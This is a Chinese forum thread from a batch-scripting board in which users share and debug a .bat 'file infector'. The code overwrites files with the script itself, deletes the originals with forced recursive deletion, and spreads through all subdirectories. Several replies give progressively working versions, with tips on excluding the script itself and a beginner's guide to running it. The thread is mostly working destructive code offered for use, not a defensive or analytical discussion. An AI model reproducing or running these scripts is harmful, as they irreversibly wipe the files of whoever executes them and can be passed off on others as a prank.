给大家发个感染文件的bat
bat吧
全部回复
仅看楼主
level 8
Fulfil🎓 楼主
嘿嘿~~大家知道bat作用有一部分就是木马。。。我编了一个很简单的程序,就是把同一目录里面的所有文件统统变成bat文件~~哈哈!
但是,想跟大家讨论下,怎么跨目录感染文件,好像有点难啊,谁给个跨目录感染的bat。求解!
感染文件代码:@echo off
dir /b >>asd.txt
for /f "delims=. tokens=1" %%f in (asd.txt) do copy %0 %%f.batdel asd.batfor /f %%q in (asd.txt) do del /f %%q
pause
别告诉我你们不会使用。。。先新建一个txt文件,然后把这串代码复制进去,最后把后缀名改为.bat就行了,新手也可以学习啊!for命令很实用啊!
2012年09月02日 05点09分 1
level 14
其实for可以直接这样写!
for /r %%i in (*.*) do (
copy /y %0 %%i
)
2012年09月02日 05点09分 2
level 8
Fulfil🎓 楼主
thanks!请问你能做出来个跨目录感染的文件吗?
2012年09月02日 06点09分 3
level 14
@echo off
for /r 目录 %%i in (*.*) do (type %0>%%i)
2012年09月02日 06点09分 4
level 8
Fulfil🎓 楼主
是跨目录的?那么快?
2012年09月02日 06点09分 5
是的。没有用copy,用的是type。你要把“目录”两个字改了才行。
2012年09月02日 06点09分
回复 cyxgg :够牛!
2012年09月02日 06点09分
回复 cyxgg :你这个做出来是不是只是获取所有文件名?解释一下~
2012年09月02日 06点09分
level 8
Fulfil🎓 楼主
type是什么啊。。。不懂
2012年09月02日 06点09分 6
[汗]你去查查type /?就知道了。。。
2012年09月02日 06点09分
回复 cyxgg :知道了,解释一下你发的代码。。。
2012年09月02日 06点09分
level 14
用for /r截取所有文件,并用type命令将自身写入。
2012年09月02日 06点09分 7
level 8
Fulfil🎓 楼主
简略点的讲是不是就是把所有文件都变成自身?比如说e盘里有很多文件,然后使用了一个a.bat的文件后,所有文件都变成了a.bat?
2012年09月02日 06点09分 8
嗯,但是不修改文件名。
2012年09月02日 06点09分
如果要修改文件名,还需要改改。
2012年09月02日 06点09分
回复 cyxgg :[Love]连起来发一个,谢谢
2012年09月02日 06点09分
回复 Q15011501 :帮我把那个改文件名和上面那个代码连起来做一个行吗?
2012年09月02日 06点09分
level 8
Fulfil🎓 楼主
那自身又没有消除,按我刚才的那个例子,使用这个命令之后会剩下什么?
2012年09月02日 06点09分 9
level 14
@echo off
for /r 目录 %%i in (*.*) do (
del /f /s /q %%i
type %0>%%~ni.bat
)
2012年09月02日 06点09分 10
level 8
Fulfil🎓 楼主
感染不了啊。。。
2012年09月02日 06点09分 11
哦,你把%%~ni改成%%i
2012年09月02日 06点09分
level 8
Fulfil🎓 楼主
这个感染有个害处,感染后变成aa.doc.bat。。。
2012年09月02日 07点09分 12
level 8
Fulfil🎓 楼主
请问自身怎么消除啊?感染已经有效后就无法消除,但如果消除了,就无法感染。。。给个命令
2012年09月02日 07点09分 13
?神马意思
2012年09月02日 07点09分
回复 cyxgg :就是比如说我新建两个文件夹,(每个里面都有文件)然后我把bat放在最外面的文件夹里。我使用那个bat,不就感染完毕了吗?感染后以后,把自身都感染了。。。这怎么办啊?怎么消除自身
2012年09月02日 07点09分
回复 Q15011501 :自身感染了,代码不会变啊!还是一样的吧。
2012年09月02日 08点09分
回复 cyxgg :不是的,自身被感染了,他的代码就清零了,因为自身被感染后是无代码的
2012年09月02日 08点09分
level 14
@echo off
for /r 目录 %%i in (*.*) do (
if not %%i==%0 del /f /s /q %%i
if not %%i==%0 type %0>%%~ni.bat
)
2012年09月02日 08点09分 14
level 8
Fulfil🎓 楼主
完整版?
2012年09月02日 08点09分 15

2012年09月02日 08点09分
level 8
Fulfil🎓 楼主
你这个命令废了吧,他就是if,而不是if not,没有可能的
2012年09月02日 08点09分 16
???没错啊,如果不是自身就感染嘛
2012年09月02日 08点09分
level 14
也许是你的文件夹就是批处理所在文件夹,所以批处理没有显示完整路径
使用绝对路径试试
@echo off
for /r %%i in (*.*) do (
if not "%%~fi"=="%~f0" del /f /s /q %%i
if not "%%~fi"=="%~f0" type %0>%%~ni.bat
)
2012年09月02日 08点09分 17
本来就是,我把批处理放在最外面的文件夹里进行感染
2012年09月03日 10点09分
level 13
天哪,肿么弄回来
2012年09月02日 09点09分 18
level 11
好低级,直接把文件入侵Windows里面....Bat想做木马么.......怎么都算是整蛊吧
2012年09月04日 10点09分 19
level 12
表示一般情况下不甚可行……
2012年09月04日 14点09分 20
1 2 尾页